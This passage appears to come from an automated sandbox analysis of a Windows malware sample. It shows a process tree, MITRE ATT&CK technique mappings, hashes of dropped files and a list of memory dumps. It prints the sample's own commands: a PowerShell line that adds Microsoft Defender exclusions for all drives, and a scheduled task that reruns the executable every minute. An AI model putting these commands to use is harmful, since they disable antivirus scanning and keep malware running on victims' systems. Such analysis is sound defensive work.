- Modifies data under HKEY_USERS
PID:3636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:1148

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:4376

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4608

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4752

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:5176

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:5236

C:\Windows\System32\SecurityHealthSystray.exe
"C:\Windows\System32\SecurityHealthSystray.exe"
1⤵
PID:5276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
1⤵
PID:5688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4996

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1096

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1344

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:3060

C:\Users\Admin\AppData\Roaming\xgjqhq2b.3cv.exe
C:\Users\Admin\AppData\Roaming\xgjqhq2b.3cv.exe
1⤵
- Executes dropped EXE
- Checks system information in the registry
PID:796
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Ignore Process Interrupts
  PID:3400
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2480
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4588
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /create /f /sc minute /mo 1 /tn "xgjqhq2b.3cv" /tr "C:\Users\Admin\AppData\Roaming\xgjqhq2b.3cv.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6096
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a8ec6cbe56d43cac746a775bb01d4e302fa3c5cef6d087ddd5ad6ffb28b28914
MD5 e099087f1819f465673e4d0588838394
SHA1 7c4036eab5dde4d82e4e779afe09b46aff759c12
SHA512 d83ae74ae4638a2d16c894089a99462c7302c8b52b93aac528af162a6837b0f73b5e1afaa95f2e270e2f994139fc932a445df2d9659cfc42695abb0b92b2c951
TLSH
T11D216733F3CC8615CC9A013A50CDAC1036BAC7DB90DEDFAB6B84E655A53F699CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 563fc59fae8d082109794a4400fff60576fc8c8927a2de9bf6432ee2a1f8cb0c
MD5 0b4145dffe576b25a5180d9263aa9db9
SHA1 fbaca949cc62e0d0861ee79d492e2c563322df19
SHA512 c40ed65c20659960137199e2b235c7979add4099ec1cd4292ea924cfcd81a0d23fd63196f46494d2a022fee8459078a554eb33e36736783344716c6549a28b4e
TLSH
T114217933F3CC8615CC9A013A50CDAC1036BAC7DB90DEDFAB6B84E655A53F699CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

0g1gebzf.hmb.exe

Path C:\Users\Admin\AppData\Local\Temp\0g1gebzf.hmb.exe
Size 161KB
SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
MD5 94f1ab3a068f83b32639579ec9c5d025
SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
TLSH
T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_ke2wyq2m.mim.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ke2wyq2m.mim.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

xgjqhq2b.3cv.exe

Path C:\Users\Admin\AppData\Local\Temp\xgjqhq2b.3cv.exe
Size 59KB
SHA256 b26420f4489814cd780b844a44572a359ba57fc96ce4daf1eb72f1819f240675
MD5 f4b3e7211e16eef685f1f0a9d21c464c
SHA1 009ec251943225e8a1802cce7c185d048d1b86e5
SHA512 d2f9e1567c6b743a19da23cb14251fe65346e2ec3c34a77cd54de6acdb547882dda43f16318ad98059f6cd0b04f056951840462805271737463ca3db40751397
SSDEEP 768:iJlRlD3ouSlGSrB63XHVpl6zSWK4JvQYm0BsWTXRxMwUN31X8Buv1Y1bHM/9Q5/C:Wlr7rSj6QmVk9D3kTN188v1YxMlE/1o
TLSH
T10653090AF35364ECC52AD27446EB6773BA32BD6501316F3F43A4D6751E10E50BE2AB24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

~msnDEV-b29842a9e1f9623c.tmp

Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-b29842a9e1f9623c.tmp
Size 4B
SHA256 05db705de1d67525a820002dc8c4c6c5b8ab3617b0fb391177f8a44b16d2db40
MD5 6e95b62ebae21e8f5dc7c53a2906d9d4
SHA1 bf3e92e0b19dc1604b764382b859e73158d18025
SHA512 a9359786004c7220982cd51c73a9626dd01d5af1d4b1b3d335fff9bcc61d9fc47f8b6ff29b8aff311254999ac02e03cca87ccd0e387b9df11e2b0d80ad900f54
MD5 SHA1 SHA512

Submit Download

~msnDEV-b29842a9e1f9623c.tmp

Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-b29842a9e1f9623c.tmp
Size 4B
SHA256 564cb2377a528c7dd47ed3bc18f9a31192fe79e60794be2ad1e788aded2d77d0
MD5 502102a91755d1193d32f0d711dd4935
SHA1 420671952eb504e59cd6fc70258f43ed394e005e
SHA512 83e99193e0b932cbae8f7bc452fe4f3d5140a0e1f373486cd285589753a3eee9e577ddc09c789fc642d15134942467cbc647ec0099ffa4cc5b8e699caa5e0b0a
MD5 SHA1 SHA512

Submit Download

memory/744-16-0x00000129EEE70000-0x00000129EEE9B000-memory.dmp

Download

memory/744-466-0x00000129EEE70000-0x00000129EEE9B000-memory.dmp

Download

memory/744-17-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/744-104-0x00000129EEE70000-0x00000129EEE9B000-memory.dmp

Download

memory/744-15-0x00000129EEE40000-0x00000129EEE65000-memory.dmp

Download

memory/996-22-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/996-467-0x0000022295010000-0x000002229503B000-memory.dmp

Download

memory/996-21-0x0000022295010000-0x000002229503B000-memory.dmp

Download

memory/996-105-0x0000022295010000-0x000002229503B000-memory.dmp

Download

memory/1004-468-0x0000015BE1450000-0x0000015BE147B000-memory.dmp

Download

memory/1004-106-0x0000015BE1450000-0x0000015BE147B000-memory.dmp

Download

memory/1004-24-0x0000015BE1450000-0x0000015BE147B000-memory.dmp

Download

memory/1004-25-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1012-111-0x000001D599D00000-0x000001D599D2B000-memory.dmp

Download

memory/1012-112-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1036-114-0x000001487FFB0000-0x000001487FFDB000-memory.dmp

Download

memory/1036-115-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1124-120-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1124-117-0x000001C7B5870000-0x000001C7B589B000-memory.dmp

Download

memory/1180-32-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1180-31-0x0000020F74C50000-0x0000020F74C7B000-memory.dmp

Download

memory/1180-469-0x0000020F74C50000-0x0000020F74C7B000-memory.dmp

Download

memory/1180-107-0x0000020F74C50000-0x0000020F74C7B000-memory.dmp

Download

memory/1308-144-0x0000025F9BEB0000-0x0000025F9BEDB000-memory.dmp

Download

memory/1308-145-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1316-124-0x000001CC53FD0000-0x000001CC53FFB000-memory.dmp

Download

memory/1316-125-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1324-128-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1324-127-0x0000020CACEE0000-0x0000020CACF0B000-memory.dmp

Download

memory/1360-130-0x000001732BFA0000-0x000001732BFCB000-memory.dmp

Download

memory/1360-131-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1528-108-0x0000026977970000-0x000002697799B000-memory.dmp

Download

memory/1528-470-0x0000026977970000-0x000002697799B000-memory.dmp

Download

memory/1528-40-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1528-39-0x0000026977970000-0x000002697799B000-memory.dmp

Download

memory/1624-133-0x0000021FFBE60000-0x0000021FFBE8B000-memory.dmp

Download

memory/1624-134-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1664-136-0x0000026F7A360000-0x0000026F7A38B000-memory.dmp

Download

memory/1760-2-0x0000023D6B9B0000-0x0000023D6B9DC000-memory.dmp

Download

memory/1760-1-0x00007FF805F9F000-0x00007FF805FA0000-memory.dmp

Download

memory/1760-307-0x0000023D6DD40000-0x0000023D6DD59000-memory.dmp

Download

memory/1760-326-0x0000023D6DD50000-0x0000023D6DD60000-memory.dmp

Download

memory/1760-358-0x0000023D6DEF0000-0x0000023D6DEFE000-memory.dmp

Download

memory/1760-359-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

Download

memory/1760-0-0x0000023D6B510000-0x0000023D6B556000-memory.dmp

Download

memory/1760-429-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

Download

memory/1760-401-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

Download

memory/1760-5-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

Download

memory/1760-4-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

Download

memory/1760-484-0x0000023D6DD50000-0x0000023D6DD60000-memory.dmp

Download

memory/1788-138-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1788-137-0x00000274957A0000-0x00000274957CB000-memory.dmp

Download

memory/1952-142-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/1952-141-0x000001AC4D1C0000-0x000001AC4D1EB000-memory.dmp

Download

memory/2144-148-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/2144-147-0x000001C415C40000-0x000001C415C6B000-memory.dmp

Download

memory/2184-150-0x0000025C98800000-0x0000025C9882B000-memory.dmp

Download

memory/2184-151-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/2292-153-0x0000021FEBDC0000-0x0000021FEBDEB000-memory.dmp

Download

memory/2412-154-0x0000021E01D50000-0x0000021E01D7B000-memory.dmp

Download

memory/2476-160-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/2476-159-0x0000000001070000-0x000000000109B000-memory.dmp

Download

memory/2980-156-0x000002417ADD0000-0x000002417ADFB000-memory.dmp

Download

memory/2980-157-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/3120-162-0x00000288C5DA0000-0x00000288C5DCB000-memory.dmp

Download

memory/3120-163-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/3152-165-0x00000268C8E00000-0x00000268C8E2B000-memory.dmp

Download

memory/3152-166-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/3224-168-0x000001DC9B780000-0x000001DC9B7AB000-memory.dmp

Download

memory/3224-170-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/3480-169-0x000002570C5E0000-0x000002570C60B000-memory.dmp

Download

memory/3480-172-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/3628-174-0x0000027A0EFA0000-0x0000027A0EFCB000-memory.dmp

Download

memory/3628-175-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/3676-178-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/3676-177-0x0000011679410000-0x000001167943B000-memory.dmp

Download

memory/3704-181-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/3704-180-0x0000015FA3F10000-0x0000015FA3F3B000-memory.dmp

Download

memory/4376-183-0x000001EBB2940000-0x000001EBB296B000-memory.dmp

Download

memory/4376-184-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/4668-14-0x00007FF827CD0000-0x00007FF827D97000-memory.dmp

Download

memory/4668-13-0x00007FF8286C0000-0x00007FF828923000-memory.dmp

Download

memory/4704-356-0x0000027768120000-0x00000277681D2000-memory.dmp

Download

memory/4704-357-0x0000027767DA0000-0x0000027767DAA000-memory.dmp

Download

memory/4704-355-0x0000027768100000-0x000002776811E000-memory.dmp

Download

memory/4704-352-0x0000027767D50000-0x0000027767D72000-memory.dmp

Download

memory/5048-472-0x000001F026300000-0x000001F02632B000-memory.dmp

Download

memory/5048-83-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/5048-82-0x000001F026300000-0x000001F02632B000-memory.dmp

Download

memory/5048-109-0x000001F026300000-0x000001F02632B000-memory.dmp

Download

memory/5360-96-0x00000000036D0000-0x00000000036FB000-memory.dmp

Download

memory/5360-97-0x00007FF7E8800000-0x00007FF7E8810000-memory.dmp

Download

memory/5360-480-0x00000000036D0000-0x00000000036FB000-memory.dmp

Download

memory/5360-110-0x00000000036D0000-0x00000000036FB000-memory.dmp

Download